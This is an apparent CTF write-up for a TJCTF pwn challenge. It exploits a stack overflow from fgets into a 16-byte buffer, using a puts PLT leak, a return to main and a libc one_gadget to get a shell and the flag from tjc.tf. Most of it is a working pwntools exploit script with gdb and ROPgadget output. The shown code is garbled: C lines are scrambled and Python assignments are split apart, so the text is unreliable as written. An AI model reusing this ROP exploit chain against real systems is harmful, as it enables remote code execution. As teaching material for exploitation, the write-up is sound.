Details
- Category : pwn
- Points : 233
- Solves : 88
Description
Travel agency said we can’t go there anymore… nc tjc.tf 31705
Understanding the problem
Usually, when trying to solve pwn challenges, finding the vulnerability is the first problem to deal with. Having only the binary, this can be done using a disassembler (IDA, ghidra etc.). This step is not mandatory here as the author gave us the source code (C). Our goal is now to read it, find a vulnerability and exploit it to get a shell. Let’s do it !
Solving the problem
The provided source code is as follows :
#include <stdio.h>
#include <stdlib.h>
void vacation() {
char buf[16];
("Where am I going today?");
puts(buf, 64, stdin);
fgets}
void main() {
(stdout, NULL);
setbuf();
vacation("hmm... that doesn't sound very interesting...");
puts}
A static 16 bytes buffer buf
is declared. Then, fgets
function is called on stdin to insert user input in buf
. Unfortunately the size specified as the second argument of fgets
function is way larger than the buf
size. This lead to a buffer overflow vulnerability.
Checking the protections applied on the binary with pwntools checksec
utility, we noticed only NX was activated
checksec chall
[*] '/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Immediately, we thought of using the famous ret2libc technique. Sounds great at first sight, but there is still a problem to handle : ASLR. As we assume the fact that ASLR is up on the remote server, ret2libc can no longer work. Finally, only ROPchain can help.
As a reminder, we want our programm to execute a shell. In other words, execute a libc function which take the string “/bin/sh” as an argument (system or execve).
At this point, we first have to find a leak to deafeat ASLR (which randomize stack, heap and libraries addresses). But another problem comes up… Our program is so basic that there is no leak. Fortunately, there is a known technique that do not need a leak to work : ret2plt + ret2main + one gadget.
This technique can be broken down as follows :
- ret2plt using
puts
to leak a libc address (which base is random due to ASLR) - ret2main to re execute our program without reloading ASLR
- one gadget
Implementing the solution
The solution will be implemented as a script using pwntools python library. Let’s first find the offset required to overwrite RBP by disassembling vacation function in gdb
gdb-peda$ disass vacation
Dump of assembler code for function vacation:
0x0000000000401176 <+0>: endbr64
0x000000000040117a <+4>: push rbp
0x000000000040117b <+5>: mov rbp,rsp
0x000000000040117e <+8>: sub rsp,0x10 #16 bytes are allocated on the stack
0x0000000000401182 <+12>: lea rdi,[rip+0xe7f] # 0x402008
0x0000000000401189 <+19>: call 0x401060 <puts@plt>
0x000000000040118e <+24>: mov rdx,QWORD PTR [rip+0x2ebb] # 0x404050 <stdin@@GLIBC_2.2.5>
0x0000000000401195 <+31>: lea rax,[rbp-0x10]
0x0000000000401199 <+35>: mov esi,0x40
0x000000000040119e <+40>: mov rdi,rax
0x00000000004011a1 <+43>: call 0x401080 <fgets@plt>
0x00000000004011a6 <+48>: nop
0x00000000004011a7 <+49>: leave
0x00000000004011a8 <+50>: ret
End of assembler dump.
As 16 bytes are allocated on the stack, sending 24 (16+8) bytes will overwrite RBP. Let’s verify it :
gdb-peda$ run
Starting program: chall
Where am I going today?
AAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffdfb0 ('A' <repeats 24 times>, "\n")
RBX: 0x4011e0 (<__libc_csu_init>: endbr64)
RCX: 0x4052b9 --> 0x0
RDX: 0x0
RSI: 0x4052a1 ('A' <repeats 23 times>, "\n")
RDI: 0x7ffff7fab7f0 --> 0x0
RBP: 0x4141414141414141 ('AAAAAAAA') -> #RBP is overwrited
RSP: 0x7fffffffdfd0 --> 0x0
RIP: 0x40000a --> 0x2000000000000
R8 : 0x7fffffffdfb0 ('A' <repeats 24 times>, "\n")
R9 : 0x7c ('|')
R10: 0x7ffff7fa9be0 --> 0x4056a0 --> 0x0
R11: 0x246
R12: 0x401090 (<_start>: endbr64)
R13: 0x7fffffffe0c0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
We also need a gadget to pass arg to puts
function.
ROPgadget --binary chall | grep "pop rdi"
0x0000000000401243 : pop rdi ; ret
So far, the script (still under construction) look like this :
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
#init
= context.binary = ELF('./chall')
elf = elf.libc
libc = remote('tjc.tf',31705)
p
#find a gadget in binary to pass args tu puts function
= 0x401243
pop_rdi_ret
#ropchain
#offset size can be found with gdb
= b'a'*24
payload += p64(pop_rdi_ret)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.sym['main'])
payload
b'?\n')
p.recvuntil(
p.sendline(payload)
#get address sent by puts
= u64(p.recv(6).ljust(8,b'\x00'))
puts_leak print(hex(puts_leak))
p.interactive() p.close()
Executing it both locally and remotely, we noticed that puts_leak
address always terminates with the 3 same bytes -> 2 libc are the same. We can look for puts
offset directly on our PC.
puts
function offset in libc is calculated by subtracting puts
address with libc base address ( both found with gdb)
gdb-peda$ info proc mappings
process 5986
Mapped address spaces:
[...]
0x7ffff7dbd000 0x7ffff7ddf000 0x22000 0x0 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff7ddf000 0x7ffff7f57000 0x178000 0x22000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff7f57000 0x7ffff7fa5000 0x4e000 0x19a000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff7fa5000 0x7ffff7fa9000 0x4000 0x1e7000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff7fa9000 0x7ffff7fab000 0x2000 0x1eb000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff7fab000 0x7ffff7fb1000 0x6000 0x0
0x7ffff7fc9000 0x7ffff7fcd000 0x4000 0x0 [vvar]
0x7ffff7fcd000 0x7ffff7fcf000 0x2000 0x0 [vdso]
0x7ffff7fcf000 0x7ffff7fd0000 0x1000 0x0 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7fd0000 0x7ffff7ff3000 0x23000 0x1000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ff3000 0x7ffff7ffb000 0x8000 0x24000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ffc000 0x7ffff7ffd000 0x1000 0x2c000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ffd000 0x7ffff7ffe000 0x1000 0x2d000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ffe000 0x7ffff7fff000 0x1000 0x0
0x7ffffffde000 0x7ffffffff000 0x21000 0x0 [stack]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
gdb-peda$ print puts
$5 = {int (const char *)} 0x7ffff7e41450 <__GI__IO_puts>
gdb-peda$ print(0x7ffff7e41450-0x7ffff7dbd000)
$6 = 0x84450
Last but not least, we have to find our one gadget.
one_gadget /usr/lib/x86_64-linux-gnu/libc-2.31.so
0xe3b2e execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b31 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe3b34 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
The script can now be completed.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
#init
= context.binary = ELF('./chall')
elf = elf.libc
libc = remote('tjc.tf',31705)
p
#find a gadget in binary to pass args tu puts function
= 0x401243
pop_rdi_ret
#ropchain
#offset size can be found with gdb
= b'a'*24
payload += p64(pop_rdi_ret)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.sym['main'])
payload
b'?\n')
p.recvuntil(
p.sendline(payload)
#get address sent by puts
= u64(p.recv(6).ljust(8,b'\x00'))
puts_leak
#0x84450 offset is calculated by subtracting puts_leak with libc_base_address (mandatory because it
#has to be recalculate each time we run the exploit to defeat ASLR)
= puts_leak - 0x84450
libc_base_addr
# After returning to main
= b'a'*24
payload += p64(libc_base_addr + 0xe3b31) #-> one gadget address
payload
# sending payload
b'?\n')
p.recvuntil(
p.sendline(payload)
p.interactive() p.close()
Executed it and our shell spawned.
./solve.py
[...]
[*] Switching to interactive mode
$ ls
flag.txt
run
$ cat flag.txt
tjctf{w3_g0_wher3_w3_w4nt_t0!_66f7020620e343ff}
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to tjc.tf port 31705
Flag : tjctf{w3_g0_wher3_w3_w4nt_t0!_66f7020620e343ff}